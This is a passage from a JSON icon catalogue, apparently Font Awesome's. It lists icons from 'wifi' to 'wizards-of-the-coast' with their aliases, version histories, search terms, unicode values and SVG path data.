6.9.1 1.6-6.7 5.6-24 1.9-.6 17.1 17.8 4.7 4.9 5.8-3.4 20.4-12.1 5.8-3.5-2-6.5-6.8-21.2z"
      }
    },
    "free": ["brands"]
  },
  "wifi": {
    "aliases": {
      "names": ["wifi-3", "wifi-strong"],
      "unicodes": {
        "secondary": ["10f1eb"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.3.0",
      "5.10.1",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["connection", "hotspot", "internet", "network", "wireless"]
    },
    "styles": ["solid"],
    "unicode": "f1eb",
    "label": "Wifi",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M54.2 202.9C123.2 136.7 216.8 96 320 96s196.8 40.7 265.8 106.9c12.8 12.2 33 11.8 45.2-.9s11.8-33-.9-45.2C549.7 79.5 440.4 32 320 32S90.3 79.5 9.8 156.7C-2.9 169-3.3 189.2 8.9 202s32.5 13.2 45.2 .9zM320 256c56.8 0 108.6 21.1 148.2 56c13.3 11.7 33.5 10.4 45.2-2.8s10.4-33.5-2.8-45.2C459.8 219.2 393 192 320 192s-139.8 27.2-190.5 72c-13.3 11.7-14.5 31.9-2.8 45.2s31.9 14.5 45.2 2.8c39.5-34.9 91.3-56 148.2-56zm64 160a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M54.2 202.9C123.2 136.7 216.8 96 320 96s196.8 40.7 265.8 106.9c12.8 12.2 33 11.8 45.2-.9s11.8-33-.9-45.2C549.7 79.5 440.4 32 320 32S90.3 79.5 9.8 156.7C-2.9 169-3.3 189.2 8.9 202s32.5 13.2 45.2 .9zM320 256c56.8 0 108.6 21.1 148.2 56c13.3 11.7 33.5 10.4 45.2-2.8s10.4-33.5-2.8-45.2C459.8 219.2 393 192 320 192s-139.8 27.2-190.5 72c-13.3 11.7-14.5 31.9-2.8 45.2s31.9 14.5 45.2 2.8c39.5-34.9 91.3-56 148.2-56zm64 160a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z"
      }
    },
    "free": ["solid"]
  },
  "wikipedia-w": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f266",
    "label": "Wikipedia W",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 51.2l-.3 12.2c-28.1.8-45 15.8-55.8 40.3-25 57.8-103.3 240-155.3 358.6H415l-81.9-193.1c-32.5 63.6-68.3 130-99.2 193.1-.3.3-15 0-15-.3C172 352.3 122.8 243.4 75.8 133.4 64.4 106.7 26.4 63.4.2 63.7c0-3.1-.3-10-.3-14.2h161.9v13.9c-19.2 1.1-52.8 13.3-43.3 34.2 21.9 49.7 103.6 240.3 125.6 288.6 15-29.7 57.8-109.2 75.3-142.8-13.9-28.3-58.6-133.9-72.8-160-9.7-17.8-36.1-19.4-55.8-19.7V49.8l142.5.3v13.1c-19.4.6-38.1 7.8-29.4 26.1 18.9 40 30.6 68.1 48.1 104.7 5.6-10.8 34.7-69.4 48.1-100.8 8.9-20.6-3.9-28.6-38.6-29.4.3-3.6 0-10.3.3-13.6 44.4-.3 111.1-.3 123.1-.6v13.6c-22.5.8-45.8 12.8-58.1 31.7l-59.2 122.8c6.4 16.1 63.3 142.8 69.2 156.7L559.2 91.8c-8.6-23.1-36.4-28.1-47.2-28.3V49.6l127.8 1.1.2.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 51.2l-.3 12.2c-28.1.8-45 15.8-55.8 40.3-25 57.8-103.3 240-155.3 358.6H415l-81.9-193.1c-32.5 63.6-68.3 130-99.2 193.1-.3.3-15 0-15-.3C172 352.3 122.8 243.4 75.8 133.4 64.4 106.7 26.4 63.4.2 63.7c0-3.1-.3-10-.3-14.2h161.9v13.9c-19.2 1.1-52.8 13.3-43.3 34.2 21.9 49.7 103.6 240.3 125.6 288.6 15-29.7 57.8-109.2 75.3-142.8-13.9-28.3-58.6-133.9-72.8-160-9.7-17.8-36.1-19.4-55.8-19.7V49.8l142.5.3v13.1c-19.4.6-38.1 7.8-29.4 26.1 18.9 40 30.6 68.1 48.1 104.7 5.6-10.8 34.7-69.4 48.1-100.8 8.9-20.6-3.9-28.6-38.6-29.4.3-3.6 0-10.3.3-13.6 44.4-.3 111.1-.3 123.1-.6v13.6c-22.5.8-45.8 12.8-58.1 31.7l-59.2 122.8c6.4 16.1 63.3 142.8 69.2 156.7L559.2 91.8c-8.6-23.1-36.4-28.1-47.2-28.3V49.6l127.8 1.1.2.5z"
      }
    },
    "free": ["brands"]
  },
  "wind": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f72e"]
      }
    },
    "changes": ["5.4.0", "5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["air", "blow", "breeze", "fall", "seasonal", "weather"]
    },
    "styles": ["solid"],
    "unicode": "f72e",
    "label": "Wind",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 32c0 17.7 14.3 32 32 32h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H352c53 0 96-43 96-96s-43-96-96-96H320c-17.7 0-32 14.3-32 32zm64 352c0 17.7 14.3 32 32 32h32c53 0 96-43 96-96s-43-96-96-96H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H384c-17.7 0-32 14.3-32 32zM128 512h32c53 0 96-43 96-96s-43-96-96-96H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H160c17.7 0 32 14.3 32 32s-14.3 32-32 32H128c-17.7 0-32 14.3-32 32s14.3 32 32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 32c0 17.7 14.3 32 32 32h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H352c53 0 96-43 96-96s-43-96-96-96H320c-17.7 0-32 14.3-32 32zm64 352c0 17.7 14.3 32 32 32h32c53 0 96-43 96-96s-43-96-96-96H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H384c-17.7 0-32 14.3-32 32zM128 512h32c53 0 96-43 96-96s-43-96-96-96H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H160c17.7 0 32 14.3 32 32s-14.3 32-32 32H128c-17.7 0-32 14.3-32 32s14.3 32 32 32z"
      }
    },
    "free": ["solid"]
  },
  "window-maximize": {
    "aliases": {
      "unicodes": {
        "composite": ["1f5d6"],
        "secondary": ["10f2d0"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Maximize", "browser", "computer", "development", "expand"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2d0",
    "label": "Window Maximize",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM96 96H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H96c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM96 96H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H96c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      },
      "regular": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M.3 89.5C.1 91.6 0 93.8 0 96V224 416c0 35.3 28.7 64 64 64l384 0c35.3 0 64-28.7 64-64V224 96c0-35.3-28.7-64-64-64H64c-2.2 0-4.4 .1-6.5 .3c-9.2 .9-17.8 3.8-25.5 8.2C21.8 46.5 13.4 55.1 7.7 65.5c-3.9 7.3-6.5 15.4-7.4 24zM48 224H464l0 192c0 8.8-7.2 16-16 16L64 432c-8.8 0-16-7.2-16-16l0-192z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M.3 89.5C.1 91.6 0 93.8 0 96V224 416c0 35.3 28.7 64 64 64l384 0c35.3 0 64-28.7 64-64V224 96c0-35.3-28.7-64-64-64H64c-2.2 0-4.4 .1-6.5 .3c-9.2 .9-17.8 3.8-25.5 8.2C21.8 46.5 13.4 55.1 7.7 65.5c-3.9 7.3-6.5 15.4-7.4 24zM48 224H464l0 192c0 8.8-7.2 16-16 16L64 432c-8.8 0-16-7.2-16-16l0-192z"
      }
    },
    "free": ["regular", "solid"]
  },
  "window-minimize": {
    "aliases": {
      "unicodes": {
        "composite": ["1f5d5"],
        "secondary": ["10f2d1"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Minimize", "browser", "collapse", "computer", "development"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2d1",
    "label": "Window Minimize",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z"
      },
      "regular": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M24 432c-13.3 0-24 10.7-24 24s10.7 24 24 24H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M24 432c-13.3 0-24 10.7-24 24s10.7 24 24 24H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "window-restore": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f2d2"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["browser", "computer", "development"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2d2",
    "label": "Window Restore",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M432 64H208c-8.8 0-16 7.2-16 16V96H128V80c0-44.2 35.8-80 80-80H432c44.2 0 80 35.8 80 80V304c0 44.2-35.8 80-80 80H416V320h16c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16zM0 192c0-35.3 28.7-64 64-64H320c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V192zm64 32c0 17.7 14.3 32 32 32H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H96c-17.7 0-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M432 64H208c-8.8 0-16 7.2-16 16V96H128V80c0-44.2 35.8-80 80-80H432c44.2 0 80 35.8 80 80V304c0 44.2-35.8 80-80 80H416V320h16c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16zM0 192c0-35.3 28.7-64 64-64H320c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V192zm64 32c0 17.7 14.3 32 32 32H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H96c-17.7 0-32 14.3-32 32z"
      },
      "regular": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M432 48H208c-17.7 0-32 14.3-32 32V96H128V80c0-44.2 35.8-80 80-80H432c44.2 0 80 35.8 80 80V304c0 44.2-35.8 80-80 80H416V336h16c17.7 0 32-14.3 32-32V80c0-17.7-14.3-32-32-32zM48 448c0 8.8 7.2 16 16 16H320c8.8 0 16-7.2 16-16V256H48V448zM64 128H320c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V192c0-35.3 28.7-64 64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M432 48H208c-17.7 0-32 14.3-32 32V96H128V80c0-44.2 35.8-80 80-80H432c44.2 0 80 35.8 80 80V304c0 44.2-35.8 80-80 80H416V336h16c17.7 0 32-14.3 32-32V80c0-17.7-14.3-32-32-32zM48 448c0 8.8 7.2 16 16 16H320c8.8 0 16-7.2 16-16V256H48V448zM64 128H320c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V192c0-35.3 28.7-64 64-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "windows": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["microsoft", "operating system", "os"]
    },
    "styles": ["brands"],
    "unicode": "f17a",
    "label": "Windows",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 93.7l183.6-25.3v177.4H0V93.7zm0 324.6l183.6 25.3V268.4H0v149.9zm203.8 28L448 480V268.4H203.8v177.9zm0-380.6v180.1H448V32L203.8 65.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 93.7l183.6-25.3v177.4H0V93.7zm0 324.6l183.6 25.3V268.4H0v149.9zm203.8 28L448 480V268.4H203.8v177.9zm0-380.6v180.1H448V32L203.8 65.7z"
      }
    },
    "free": ["brands"]
  },
  "wine-bottle": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f72f"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "alcohol",
        "beverage",
        "cabernet",
        "drink",
        "glass",
        "grapes",
        "merlot",
        "sauvignon"
      ]
    },
    "styles": ["solid"],
    "unicode": "f72f",
    "label": "Wine Bottle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M393.4 9.4c12.5-12.5 32.8-12.5 45.3 0l64 64c12.5 12.5 12.5 32.8 0 45.3c-11.8 11.8-30.7 12.5-43.2 1.9l-9.5 9.5-48.8 48.8c-9.2 9.2-11.5 22.9-8.6 35.6c9.4 40.9-1.9 85.6-33.8 117.5L197.3 493.3c-25 25-65.5 25-90.5 0l-88-88c-25-25-25-65.5 0-90.5L180.2 153.3c31.9-31.9 76.6-43.1 117.5-33.8c12.6 2.9 26.4 .5 35.5-8.6l48.8-48.8 9.5-9.5c-10.6-12.6-10-31.4 1.9-43.2zM99.3 347.3l65.4 65.4c6.2 6.2 16.4 6.2 22.6 0l97.4-97.4c6.2-6.2 6.2-16.4 0-22.6l-65.4-65.4c-6.2-6.2-16.4-6.2-22.6 0L99.3 324.7c-6.2 6.2-6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M393.4 9.4c12.5-12.5 32.8-12.5 45.3 0l64 64c12.5 12.5 12.5 32.8 0 45.3c-11.8 11.8-30.7 12.5-43.2 1.9l-9.5 9.5-48.8 48.8c-9.2 9.2-11.5 22.9-8.6 35.6c9.4 40.9-1.9 85.6-33.8 117.5L197.3 493.3c-25 25-65.5 25-90.5 0l-88-88c-25-25-25-65.5 0-90.5L180.2 153.3c31.9-31.9 76.6-43.1 117.5-33.8c12.6 2.9 26.4 .5 35.5-8.6l48.8-48.8 9.5-9.5c-10.6-12.6-10-31.4 1.9-43.2zM99.3 347.3l65.4 65.4c6.2 6.2 16.4 6.2 22.6 0l97.4-97.4c6.2-6.2 6.2-16.4 0-22.6l-65.4-65.4c-6.2-6.2-16.4-6.2-22.6 0L99.3 324.7c-6.2 6.2-6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "wine-glass": {
    "aliases": {
      "unicodes": {
        "composite": ["1f377"],
        "secondary": ["10f4e3"]
      }
    },
    "changes": [
      "5.0.9",
      "5.1.0",
      "5.10.1",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "alcohol",
        "bar",
        "beverage",
        "cabernet",
        "drink",
        "glass",
        "grapes",
        "merlot",
        "sauvignon",
        "wine",
        "wine glass"
      ]
    },
    "styles": ["solid"],
    "unicode": "f4e3",
    "label": "Wine Glass",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M32.1 29.3C33.5 12.8 47.4 0 64 0H256c16.6 0 30.5 12.8 31.9 29.3l14 168.4c6 72-42.5 135.2-109.9 150.6V448h48c17.7 0 32 14.3 32 32s-14.3 32-32 32H160 80c-17.7 0-32-14.3-32-32s14.3-32 32-32h48V348.4C60.6 333 12.1 269.8 18.1 197.8l14-168.4zm56 98.7H231.9l-5.3-64H93.4l-5.3 64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M32.1 29.3C33.5 12.8 47.4 0 64 0H256c16.6 0 30.5 12.8 31.9 29.3l14 168.4c6 72-42.5 135.2-109.9 150.6V448h48c17.7 0 32 14.3 32 32s-14.3 32-32 32H160 80c-17.7 0-32-14.3-32-32s14.3-32 32-32h48V348.4C60.6 333 12.1 269.8 18.1 197.8l14-168.4zm56 98.7H231.9l-5.3-64H93.4l-5.3 64z"
      }
    },
    "free": ["solid"]
  },
  "wine-glass-empty": {
    "aliases": {
      "names": ["wine-glass-alt"],
      "unicodes": {
        "secondary": ["10f5ce"]
      }
    },
    "changes": [
      "5.1.0",
      "5.10.1",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "alcohol",
        "beverage",
        "cabernet",
        "drink",
        "grapes",
        "merlot",
        "sauvignon"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5ce",
    "label": "Wine Glass Empty",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767418,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M64 0C47.4 0 33.5 12.8 32.1 29.3l-14 168.4c-6 72 42.5 135.2 109.9 150.6V448H80c-17.7 0-32 14.3-32 32s14.3 32 32 32h80 80c17.7 0 32-14.3 32-32s-14.3-32-32-32H192V348.4c67.4-15.4 115.9-78.6 109.9-150.6l-14-168.4C286.5 12.8 272.6 0 256 0H64zM81.9 203.1L93.4 64H226.6l11.6 139.1C242 248.8 205.9 288 160 288s-82-39.2-78.1-84.9z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M64 0C47.4 0 33.5 12.8 32.1 29.3l-14 168.4c-6 72 42.5 135.2 109.9 150.6V448H80c-17.7 0-32 14.3-32 32s14.3 32 32 32h80 80c17.7 0 32-14.3 32-32s-14.3-32-32-32H192V348.4c67.4-15.4 115.9-78.6 109.9-150.6l-14-168.4C286.5 12.8 272.6 0 256 0H64zM81.9 203.1L93.4 64H226.6l11.6 139.1C242 248.8 205.9 288 160 288s-82-39.2-78.1-84.9z"
      }
    },
    "free": ["solid"]
  },
  "wirsindhandwerk": {
    "aliases": {
      "names": ["wsh"]
    },
    "changes": ["6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e2d0",
    "label": "wirsindhandwerk",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M50.77161,479.81213h83.36071V367.84741l-83.36071,47.009Zm329.04675,0h82.35022V414.85645l-82.35022-47.009Zm.00568-448V251.568L256.1759,179.1861,134.50378,251.568V31.81213H50.77161V392.60565L256.1759,270.31909,462.16858,392.60565V31.81213Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M50.77161,479.81213h83.36071V367.84741l-83.36071,47.009Zm329.04675,0h82.35022V414.85645l-82.35022-47.009Zm.00568-448V251.568L256.1759,179.1861,134.50378,251.568V31.81213H50.77161V392.60565L256.1759,270.31909,462.16858,392.60565V31.81213Z"
      }
    },
    "free": ["brands"]
  },
  "wix": {
    "changes": ["5.1.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5cf",
    "label": "Wix",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M393.38 131.69c0 13.03 2.08 32.69-28.68 43.83-9.52 3.45-15.95 9.66-15.95 9.66 0-31 4.72-42.22 17.4-48.86 9.75-5.11 27.23-4.63 27.23-4.63zm-115.8 35.54l-34.24 132.66-28.48-108.57c-7.69-31.99-20.81-48.53-48.43-48.53-27.37 0-40.66 16.18-48.43 48.53L89.52 299.89 55.28 167.23C49.73 140.51 23.86 128.96 0 131.96l65.57 247.93s21.63 1.56 32.46-3.96c14.22-7.25 20.98-12.84 29.59-46.57 7.67-30.07 29.11-118.41 31.12-124.7 4.76-14.94 11.09-13.81 15.4 0 1.97 6.3 23.45 94.63 31.12 124.7 8.6 33.73 15.37 39.32 29.59 46.57 10.82 5.52 32.46 3.96 32.46 3.96l65.57-247.93c-24.42-3.07-49.82 8.93-55.3 35.27zm115.78 5.21s-4.1 6.34-13.46 11.57c-6.01 3.36-11.78 5.64-17.97 8.61-15.14 7.26-13.18 13.95-13.18 35.2v152.07s16.55 2.09 27.37-3.43c13.93-7.1 17.13-13.95 17.26-44.78V181.41l-.02.01v-8.98zm163.44 84.08L640 132.78s-35.11-5.98-52.5 9.85c-13.3 12.1-24.41 29.55-54.18 72.47-.47.73-6.25 10.54-13.07 0-29.29-42.23-40.8-60.29-54.18-72.47-17.39-15.83-52.5-9.85-52.5-9.85l83.2 123.74-82.97 123.36s36.57 4.62 53.95-11.21c11.49-10.46 17.58-20.37 52.51-70.72 6.81-10.52 12.57-.77 13.07 0 29.4 42.38 39.23 58.06 53.14 70.72 17.39 15.83 53.32 11.21 53.32 11.21L556.8 256.52z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M393.38 131.69c0 13.03 2.08 32.69-28.68 43.83-9.52 3.45-15.95 9.66-15.95 9.66 0-31 4.72-42.22 17.4-48.86 9.75-5.11 27.23-4.63 27.23-4.63zm-115.8 35.54l-34.24 132.66-28.48-108.57c-7.69-31.99-20.81-48.53-48.43-48.53-27.37 0-40.66 16.18-48.43 48.53L89.52 299.89 55.28 167.23C49.73 140.51 23.86 128.96 0 131.96l65.57 247.93s21.63 1.56 32.46-3.96c14.22-7.25 20.98-12.84 29.59-46.57 7.67-30.07 29.11-118.41 31.12-124.7 4.76-14.94 11.09-13.81 15.4 0 1.97 6.3 23.45 94.63 31.12 124.7 8.6 33.73 15.37 39.32 29.59 46.57 10.82 5.52 32.46 3.96 32.46 3.96l65.57-247.93c-24.42-3.07-49.82 8.93-55.3 35.27zm115.78 5.21s-4.1 6.34-13.46 11.57c-6.01 3.36-11.78 5.64-17.97 8.61-15.14 7.26-13.18 13.95-13.18 35.2v152.07s16.55 2.09 27.37-3.43c13.93-7.1 17.13-13.95 17.26-44.78V181.41l-.02.01v-8.98zm163.44 84.08L640 132.78s-35.11-5.98-52.5 9.85c-13.3 12.1-24.41 29.55-54.18 72.47-.47.73-6.25 10.54-13.07 0-29.29-42.23-40.8-60.29-54.18-72.47-17.39-15.83-52.5-9.85-52.5-9.85l83.2 123.74-82.97 123.36s36.57 4.62 53.95-11.21c11.49-10.46 17.58-20.37 52.51-70.72 6.81-10.52 12.57-.77 13.07 0 29.4 42.38 39.23 58.06 53.14 70.72 17.39 15.83 53.32 11.21 53.32 11.21L556.8 256.52z"
      }
    },
    "free": ["brands"]
  },
  "wizards-of-the-coast": {
    "changes": ["5.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "d&d",
        "dnd",
        "fantasy",
        "game",
        "gaming",
        "tabletop"
      ]
    },
    "styles": ["brands"],
    "unicode": "f730",
    "label": "Wizards of the Coast",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M219.19 345.69c-1.9 1.38-11.07 8.44-.26 23.57 4.64 6.42 14.11 12.79 21.73 6.55 6.5-4.88 7.35-12.92.26-23.04-5.47-7.76-14.28-12.88-21.73-7.08zm336.75 75.94c-.34 1.7-.55 1.67.79 0 2.09-4.19 4.19-10.21 4.98-19.9 3.14-38.49-40.33-71.49-101.34-78.03-54.73-6.02-124.38 9.17-188.8 60.49l-.26 1.57c2.62 4.98 4.98 10.74 3.4 21.21l.79.26c63.89-58.4 131.19-77.25 184.35-73.85 58.4 3.67 100.03 34.04 100.03 68.08-.01 9.96-2.63 15.72-3.94 20.17zM392.28 240.42c.79 7.07 4.19 10.21 9.17 10.47 5.5.26 9.43-2.62 10.47-6.55.79-3.4 2.09-29.85 2.09-29.85s-11.26 6.55-14.93 10.47c-3.66 3.68-7.33 8.39-6.8 15.46zm-50.02-151.1C137.75 89.32 13.1 226.8.79 241.2c-1.05.52-1.31.79.79 1.31 60.49 16.5 155.81 81.18 196.13 202.16l1.05.26c55.25-69.92 140.88-128.05 236.99-128.05 80.92 0 130.15 42.16 130.15 80.39 0 18.33-6.55 33.52-22.26 46.35 0 .96-.2.79.79.79 14.66-10.74 27.5-28.8 27.5-48.18 0-22.78-12.05-38.23-12.05-38.23 7.07 7.07 10.74 16.24 10.74 16.24 5.76-40.85 26.97-62.32 26.97-62.32-2.36-9.69-6.81-17.81-6.81-17.81 7.59 8.12 14.4 27.5 14.4 41.37 0 10.47-3.4 22.78-12.57 31.95l.26.52c8.12-4.98 16.5-16.76 16.5-37.97 0-15.71-4.71-25.92-4.71-25.92 5.76-5.24 11.26-9.17 15.97-11.78.79 3.4 2.09 9.69 2.36 14.93 0 1.05.79 1.83 1.05 0 .79-5.76-.26-16.24-.26-16.5 6.02-3.14 9.69-4.45 9.69-4.45C617.74 176 489.43 89.32 342.26 89.32zm-99.24 289.62c-11.06 8.99-24.2 4.08-30.64-4.19-7.45-9.58-6.76-24.09 4.19-32.47 14.85-11.35 27.08-.49 31.16 5.5.28.39 12.13 16.57-4.71 31.16zm2.09-136.43l9.43-17.81 11.78 70.96-12.57 6.02-24.62-28.8 14.14-26.71 3.67 4.45-1.83-8.11zm18.59 117.58l-.26-.26c2.05-4.1-2.5-6.61-17.54-31.69-1.31-2.36-3.14-2.88-4.45-2.62l-.26-.52c7.86-5.76 15.45-10.21 25.4-15.71l.52.26c1.31 1.83 2.09 2.88 3.4 4.71l-.26.52c-1.05-.26-2.36-.79-5.24.26-2.09.79-7.86 3.67-12.31 7.59v1.31c1.57 2.36 3.93 6.55 5.76 9.69h.26c10.05-6.28 7.56-4.55 11.52-7.86h.26c.52 1.83.52 1.83 1.83 5.5l-.26.26c-3.06.61-4.65.34-11.52 5.5v.26c9.46 17.02 11.01 16.75 12.57 15.97l.26.26c-2.34 1.59-6.27 4.21-9.68 6.57zm55.26-32.47c-3.14 1.57-6.02 2.88-9.95 4.98l-.26-.26c1.29-2.59 1.16-2.71-11.78-32.47l-.26-.26c-.15 0-8.9 3.65-9.95 7.33h-.52l-1.05-5.76.26-.52c7.29-4.56 25.53-11.64 27.76-12.57l.52.26 3.14 4.98-.26.52c-3.53-1.76-7.35.76-12.31 2.62v.26c12.31 32.01 12.67 30.64 14.66 30.64v.25zm44.77-16.5c-4.19 1.05-5.24 1.31-9.69 